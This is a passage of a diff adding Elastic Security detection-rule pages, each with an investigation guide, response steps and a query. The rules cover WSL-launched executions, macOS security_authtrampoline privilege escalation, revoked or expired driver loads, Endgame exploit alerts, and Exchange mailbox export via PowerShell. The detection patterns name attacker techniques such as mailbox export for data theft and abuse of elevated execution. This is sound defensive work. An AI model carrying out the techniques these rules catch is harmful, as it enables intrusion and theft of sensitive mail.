WSL to execute malicious scripts or binaries, bypassing traditional Windows security mechanisms. The detection rule identifies suspicious executions initiated by WSL processes, excluding known safe executables, to flag potential misuse for defense evasion. + + +*Possible investigation steps* + + +- Review the process details to identify the executable path and determine if it matches any known malicious or suspicious binaries not listed in the safe executables. +- Investigate the parent process, specifically wsl.exe or wslhost.exe, to understand how the execution was initiated and if it aligns with expected user behavior or scheduled tasks. +- Check the user account associated with the process execution to verify if the activity is consistent with the user's typical behavior or if the account may have been compromised. +- Analyze the event dataset, especially if it is from crowdstrike.fdr, to gather additional context about the process execution and any related activities on the host. +- Correlate the alert with other security events or logs from data sources like Microsoft Defender for Endpoint or SentinelOne to identify any related suspicious activities or patterns. +- Assess the risk score and severity in the context of the organization's environment to prioritize the investigation and response actions accordingly. + + +*False positive analysis* + + +- Legitimate administrative tasks using WSL may trigger alerts. Users can create exceptions for known administrative scripts or binaries that are frequently executed via WSL. +- Development environments often use WSL for compiling or testing code. Exclude specific development tools or scripts that are regularly used by developers to prevent unnecessary alerts. +- Automated system maintenance scripts running through WSL can be mistaken for malicious activity. Identify and whitelist these scripts to reduce false positives. +- Security tools or monitoring solutions that leverage WSL for legitimate purposes should be identified and excluded from detection to avoid interference with their operations. +- Frequent use of WSL by specific users or groups for non-malicious purposes can be managed by creating user-based exceptions, allowing their activities to proceed without triggering alerts. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified as being executed via WSL that are not part of the known safe executables list. +- Conduct a thorough review of the affected system's WSL configuration and installed Linux distributions to identify unauthorized changes or installations. +- Remove any unauthorized or malicious scripts and binaries found within the WSL environment. +- Restore the system from a known good backup if malicious activity has compromised system integrity. +- Update and patch the system to ensure all software, including WSL, is up to date to mitigate known vulnerabilities. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type : "start" and process.command_line != null and + process.parent.name : ("wsl.exe", "wslhost.exe") and + not process.executable : ( + "?:\\Program Files (x86)\\*", + "?:\\Program Files\\*", + "?:\\Program Files*\\WindowsApps\\MicrosoftCorporationII.WindowsSubsystemForLinux_*\\wsl*.exe", + "?:\\Windows\\System32\\conhost.exe", + "?:\\Windows\\System32\\lxss\\wslhost.exe", + "?:\\Windows\\System32\\WerFault.exe", + "?:\\Windows\\System32\\wsl.exe", + "?:\\Windows\\Sys?????\\wslconfig.exe" + ) and + not ( + /* Crowdstrike specific exclusion as it uses NT Object paths */ + (event.dataset == "crowdstrike.fdr" or event.action == "ProcessRollup2") and + process.executable : ( + "\\Device\\HarddiskVolume*\\Program Files (x86)\\*", + "\\Device\\HarddiskVolume*\\Program Files\\*", + "\\Device\\HarddiskVolume*\\Program Files*\\WindowsApps\\MicrosoftCorporationII.WindowsSubsystemForLinux_*\\wsl*.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\conhost.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\lxss\\wslhost.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\WerFault.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\wsl.exe", + "\\Device\\HarddiskVolume*\\Windows\\Sys?????\\wslconfig.exe" + ) + ) and + not ( + (process.name : "cmd.exe" and process.command_line : "*echo*%USERPROFILE%*") or + (process.name : "git.exe" and process.command_line : "git.exe -c log.*") or + (process.name : "powershell.exe" and process.command_line : "powershell.exe -Command $env:USERPROFILE") or + (process.name : "Code.exe" and process.command_line : ("*cli.js --folder-uri=vscode-remote://wsl*", "ms-vscode-remote.remote-wsl")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-with-explicit-credentials-via-scripting.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-with-explicit-credentials-via-scripting.asciidoc new file mode 100644 index 0000000000..a9504729b4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-execution-with-explicit-credentials-via-scripting.asciidoc @@ -0,0 +1,184 @@ +[[prebuilt-rule-8-19-20-execution-with-explicit-credentials-via-scripting]] +=== Execution with Explicit Credentials via Scripting + +Identifies execution of the security_authtrampoline process via a scripting interpreter. This occurs when programs use AuthorizationExecute-WithPrivileges from the Security.framework to run another program with root privileges. It should not be run by itself, as this is a sign of execution with explicit logon credentials. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://objectivebythesea.com/v2/talks/OBTS_v2_Thomas.pdf +* https://www.manpagez.com/man/8/security_authtrampoline/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Execution with Explicit Credentials via Scripting* + + +In macOS environments, the `security_authtrampoline` process is used to execute programs with elevated privileges via scripting interpreters. Adversaries may exploit this by using explicit credentials to run unauthorized scripts, gaining root access. The detection rule identifies such activities by monitoring the initiation of `security_authtrampoline` through common scripting languages, flagging potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the process details to confirm the parent process name matches one of the specified scripting interpreters (e.g., osascript, bash, python) to verify the context of the alert. +- Examine the command line arguments of the security_authtrampoline process to identify the script or program being executed and assess its legitimacy. +- Investigate the user account associated with the process to determine if the credentials used are valid and expected for executing such scripts. +- Check the historical activity of the involved user account and associated processes to identify any patterns of unusual or unauthorized behavior. +- Correlate the alert with other security events or logs from the same host to identify any additional indicators of compromise or related suspicious activities. +- Assess the system for any signs of compromise or unauthorized changes, such as unexpected new files, altered configurations, or additional unauthorized processes running. + + +*False positive analysis* + + +- Legitimate administrative tasks using scripting languages may trigger this rule. Users should review the context of the script execution to determine if it aligns with expected administrative activities. +- Automated scripts or scheduled tasks that require elevated privileges might be flagged. Consider creating exceptions for known scripts by specifying their hash or path in the monitoring system. +- Development or testing environments where developers frequently use scripting languages to test applications with elevated privileges can cause false positives. Implement a policy to exclude these environments from the rule or adjust the risk score to reflect the lower threat level. +- Security tools or software updates that use scripting interpreters to perform legitimate actions with elevated privileges may be mistakenly identified. Verify the source and purpose of such processes and whitelist them if they are deemed safe. +- User-initiated scripts for personal productivity that require elevated access could be misinterpreted as threats. Educate users on safe scripting practices and establish a process for them to report and document legitimate use cases for exclusion. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized access or lateral movement. +- Terminate the `security_authtrampoline` process if it is still running to stop any ongoing unauthorized activities. +- Review and revoke any compromised credentials used in the execution of the unauthorized script to prevent further misuse. +- Conduct a thorough examination of the system for any additional unauthorized scripts or malware that may have been deployed using the compromised credentials. +- Restore the system from a known good backup if any unauthorized changes or persistent threats are detected. +- Implement stricter access controls and monitoring for the use of scripting interpreters and the `security_authtrampoline` process to prevent similar privilege escalation attempts. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.name == "security_authtrampoline" and + process.parent.name like~ ("osascript", "com.apple.automator.runner", "sh", "bash", "dash", "zsh", "python*", "perl*", "php*", "ruby", "pwsh") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Elevated Execution with Prompt +** ID: T1548.004 +** Reference URL: https://attack.mitre.org/techniques/T1548/004/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-expired-or-revoked-driver-loaded.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-expired-or-revoked-driver-loaded.asciidoc new file mode 100644 index 0000000000..9e3ed331aa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-expired-or-revoked-driver-loaded.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-20-expired-or-revoked-driver-loaded]] +=== Expired or Revoked Driver Loaded + +Identifies an attempt to load a revoked or expired driver. Adversaries may bring outdated drivers with vulnerabilities to gain code execution in kernel mode or abuse revoked certificates to sign their drivers. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.library-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Expired or Revoked Driver Loaded* + +In Windows environments, drivers facilitate communication between the OS and hardware. Adversaries exploit vulnerabilities in outdated drivers or misuse revoked certificates to execute malicious code in kernel mode, bypassing security controls. The detection rule identifies such threats by monitoring for drivers with expired or revoked signatures, focusing on processes critical to system integrity, thus flagging potential privilege escalation or defense evasion attempts. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of a driver with an expired or revoked signature, focusing on the process with PID 4, which is typically the System process in Windows. +- Investigate the specific driver file that triggered the alert by checking its file path, hash, and any associated metadata to determine its origin and legitimacy. +- Cross-reference the driver file against known vulnerability databases and security advisories to identify any known exploits associated with it. +- Examine recent system logs and security events for any unusual activities or attempts to load other drivers around the same time as the alert. +- Assess the system for any signs of privilege escalation or defense evasion, such as unauthorized access attempts or changes to security settings. +- If the driver is confirmed to be malicious or suspicious, isolate the affected system to prevent further compromise and initiate a detailed forensic analysis. + + +*False positive analysis* + + +- Legitimate software updates may load drivers with expired or revoked signatures temporarily. Verify the source and purpose of the driver before excluding it. +- Some older hardware devices may rely on drivers that have expired signatures but are still necessary for functionality. Confirm the device's necessity and consider excluding these drivers if they are from a trusted source. +- Security software or system management tools might use drivers with expired signatures for legitimate operations. Validate the software's legitimacy and add exceptions for these drivers if they are verified as safe. +- Custom or in-house developed drivers might not have updated signatures. Ensure these drivers are from a trusted internal source and consider excluding them if they are essential for operations. +- Test environments may intentionally use expired or revoked drivers for research or development purposes. Clearly document these cases and exclude them to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement by the adversary. +- Terminate any processes associated with the expired or revoked driver to halt any ongoing malicious activity. +- Conduct a thorough review of the system to identify any unauthorized changes or additional malicious drivers that may have been loaded. +- Revoke any compromised certificates and update the certificate trust list to prevent future misuse. +- Apply the latest security patches and driver updates to close any vulnerabilities that may have been exploited. +- Restore the system from a known good backup if any unauthorized changes or persistent threats are detected. +- Escalate the incident to the security operations center (SOC) for further analysis and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +driver where host.os.type == "windows" and process.pid == 4 and + dll.code_signature.status : ("errorExpired", "errorRevoked") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Invalid Code Signature +** ID: T1036.001 +** Reference URL: https://attack.mitre.org/techniques/T1036/001/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Sub-technique: +** Name: Code Signing +** ID: T1553.002 +** Reference URL: https://attack.mitre.org/techniques/T1553/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-exploit-detected-elastic-endgame.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-exploit-detected-elastic-endgame.asciidoc new file mode 100644 index 0000000000..7487735fdd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-exploit-detected-elastic-endgame.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-20-exploit-detected-elastic-endgame]] +=== Exploit - Detected - Elastic Endgame + +Elastic Endgame detected an Exploit. Click the Elastic Endgame icon in the event.module column or the link in the rule.reference column for additional information. + +*Rule type*: query + +*Rule indices*: + +* endgame-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: None + +*Tags*: + +* Data Source: Elastic Endgame +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Exploit - Detected - Elastic Endgame* + + +Elastic Endgame is a security solution that monitors and detects exploit attempts within an environment. Adversaries exploit vulnerabilities to execute unauthorized code or escalate privileges. The detection rule identifies alerts from the Endgame module, focusing on exploit-related events. It leverages metadata and event actions to flag high-risk activities, aiding in swift threat detection and response. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of event.kind:alert and event.module:endgame, ensuring the alert is relevant to the Elastic Endgame detection. +- Examine the event.action and endgame.event_subtype_full fields to determine the specific exploit event type, which can provide insight into the nature of the exploit attempt. +- Investigate the endgame.metadata.type field to gather additional context about the detection, such as the source and target of the exploit attempt. +- Check the associated risk score and severity level to prioritize the investigation and response efforts, focusing on high-risk activities. +- Correlate the alert with other related events in the environment to identify potential patterns or additional indicators of compromise. +- Consult the MITRE ATT&CK framework for the Execution tactic (TA0002) to understand potential techniques that might have been used and to guide further investigation steps. + + +*False positive analysis* + + +- Routine software updates or patches may trigger exploit detection alerts. Users can create exceptions for known update processes by identifying their unique metadata or event actions. +- Legitimate administrative tools that perform actions similar to exploits might be flagged. Users should whitelist these tools by specifying their event.module or event.action attributes. +- Automated scripts used for system maintenance could mimic exploit behavior. To prevent false positives, users can exclude these scripts by defining their specific endgame.event_subtype_full. +- Security testing activities, such as penetration tests, may generate alerts. Users can manage these by setting temporary exceptions during the testing period, based on the event.kind or event.module. + + +*Response and remediation* + + +- Isolate the affected system immediately to prevent further exploitation or lateral movement within the network. +- Terminate any unauthorized processes identified as part of the exploit event to halt malicious activity. +- Apply relevant security patches or updates to the affected system to address the exploited vulnerability and prevent recurrence. +- Conduct a thorough forensic analysis of the affected system to identify any additional indicators of compromise or secondary payloads. +- Restore the system from a known good backup if necessary, ensuring that the backup is free from any malicious artifacts. +- Monitor the network for any signs of similar exploit attempts, using enhanced logging and alerting based on the identified threat indicators. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to ensure comprehensive remediation. + +==== Setup + + + +*Setup* + + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind:alert and event.module:endgame and endgame.metadata.type:detection and (event.action:exploit_event or endgame.event_subtype_full:exploit_event) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-exploit-prevented-elastic-endgame.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-exploit-prevented-elastic-endgame.asciidoc new file mode 100644 index 0000000000..57e1cade9d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-exploit-prevented-elastic-endgame.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-20-exploit-prevented-elastic-endgame]] +=== Exploit - Prevented - Elastic Endgame + +Elastic Endgame prevented an Exploit. Click the Elastic Endgame icon in the event.module column or the link in the rule.reference column for additional information. + +*Rule type*: query + +*Rule indices*: + +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: None + +*Tags*: + +* Data Source: Elastic Endgame +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Exploit - Prevented - Elastic Endgame* + + +Elastic Endgame is a security solution designed to prevent exploits by monitoring and analyzing system behaviors. Adversaries often exploit vulnerabilities to execute unauthorized code or escalate privileges. This detection rule identifies prevention events where an exploit attempt was blocked, focusing on alerts from the Endgame module. By analyzing specific event actions and metadata, it helps security analysts quickly identify and respond to potential threats, ensuring system integrity and security. + + +*Possible investigation steps* + + +- Review the alert details to confirm the event.kind is 'alert' and event.module is 'endgame', ensuring the alert is relevant to the Elastic Endgame module. +- Examine the endgame.metadata.type field to verify it is marked as 'prevention', indicating that the exploit attempt was successfully blocked. +- Analyze the event.action and endgame.event_subtype_full fields to determine the specific type of exploit event that was attempted, such as 'exploit_event'. +- Investigate the source and destination IP addresses, user accounts, and hostnames involved in the alert to identify potential points of compromise or targets. +- Check for any related alerts or logs within the same timeframe to identify patterns or additional indicators of compromise that may suggest a broader attack campaign. +- Assess the risk score and severity level to prioritize the investigation and determine if immediate action is required to mitigate potential threats. +- Document findings and any actions taken in response to the alert to maintain a comprehensive record for future reference and analysis. + + +*False positive analysis* + + +- Routine software updates or patches may trigger prevention alerts as they modify system files or configurations. Review the update schedule and correlate alerts with known maintenance windows to verify legitimacy. +- Legitimate administrative tools or scripts that perform actions similar to exploit techniques can be flagged. Identify these tools and create exceptions for their known behaviors to reduce noise. +- Security testing or vulnerability scanning activities might mimic exploit attempts. Coordinate with IT and security teams to whitelist these activities during scheduled assessments. +- Custom applications with unique behaviors may be misidentified as threats. Work with development teams to understand these behaviors and adjust detection rules or create exceptions accordingly. +- Frequent alerts from specific systems or users could indicate a misconfiguration. Investigate these patterns and adjust system settings or user permissions to align with security policies. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement by the adversary. +- Verify the integrity of critical system files and applications on the affected system to ensure no unauthorized changes have been made. +- Apply the latest security patches and updates to the affected system to address any known vulnerabilities that may have been targeted. +- Conduct a thorough review of user accounts and privileges on the affected system to identify and revoke any unauthorized access or privilege escalation. +- Restore the affected system from a known good backup if any unauthorized changes or exploit attempts have compromised system integrity. +- Monitor the network and system logs for any signs of similar exploit attempts or related suspicious activities to ensure no further threats are present. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems may be at risk. + +==== Setup + + + +*Setup* + + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind:alert and event.module:endgame and endgame.metadata.type:prevention and (event.action:exploit_event or endgame.event_subtype_full:exploit_event) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-exporting-exchange-mailbox-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-exporting-exchange-mailbox-via-powershell.asciidoc new file mode 100644 index 0000000000..4b0bcc6fb0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-exporting-exchange-mailbox-via-powershell.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-20-exporting-exchange-mailbox-via-powershell]] +=== Exporting Exchange Mailbox via PowerShell + +Identifies the use of the Exchange PowerShell cmdlet, New-MailBoxExportRequest, to export the contents of a primary mailbox or archive to a .pst file. Adversaries may target user email to collect sensitive information. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/ +* https://docs.microsoft.com/en-us/powershell/module/exchange/new-mailboxexportrequest?view=exchange-ps +* https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Collection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Data Source: Sysmon + +*Version*: 421 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Exporting Exchange Mailbox via PowerShell* + + +Email mailboxes and their information can be valuable assets for attackers. Company mailboxes often contain sensitive information such as login credentials, intellectual property, financial data, and personal information, making them high-value targets for malicious actors. + +The `New-MailBoxExportRequest` cmdlet is used to begin the process of exporting contents of a primary mailbox or archive to a .pst file. Note that this is done on a per-mailbox basis and this cmdlet is available only in on-premises Exchange. + +Attackers can abuse this functionality in preparation for exfiltrating contents, which is likely to contain sensitive and strategic data. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate the export operation: + - Identify the user account that performed the action and whether it should perform this kind of action. + - Contact the account owner and confirm whether they are aware of this activity. + - Check if this operation was approved and performed according to the organization's change management policy. + - Retrieve the operation status and use the `Get-MailboxExportRequest` cmdlet to review previous requests. + - By default, no group in Exchange has the privilege to import or export mailboxes. Investigate administrators that assigned the "Mailbox Import Export" privilege for abnormal activity. +- Investigate if there is a significant quantity of export requests in the alert timeframe. This operation is done on a per-mailbox basis and can be part of a mass export. +- If the operation was completed successfully: + - Check if the file is on the path specified in the command. + - Investigate if the file was compressed, archived, or retrieved by the attacker for exfiltration. + + +*False positive analysis* + + +- This mechanism can be used legitimately. Analysts can dismiss the alert if the administrator is aware of the activity and it is done with proper approval. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- If the involved host is not the Exchange server, isolate the host to prevent further post-compromise behavior. +- Use the `Remove-MailboxExportRequest` cmdlet to remove fully or partially completed export requests. +- Prioritize cases that involve personally identifiable information (PII) or other classified data. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Review the privileges of users with the "Mailbox Import Export" privilege to ensure that the least privilege principle is being followed. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name: ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and + process.command_line : ("*MailboxExportRequest*", "*-Mailbox*-ContentFilter*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ +* Technique: +** Name: Email Collection +** ID: T1114 +** Reference URL: https://attack.mitre.org/techniques/T1114/ +* Sub-technique: +** Name: Local Email Collection +** ID: T1114.001 +** Reference URL: https://attack.mitre.org/techniques/T1114/001/ +* 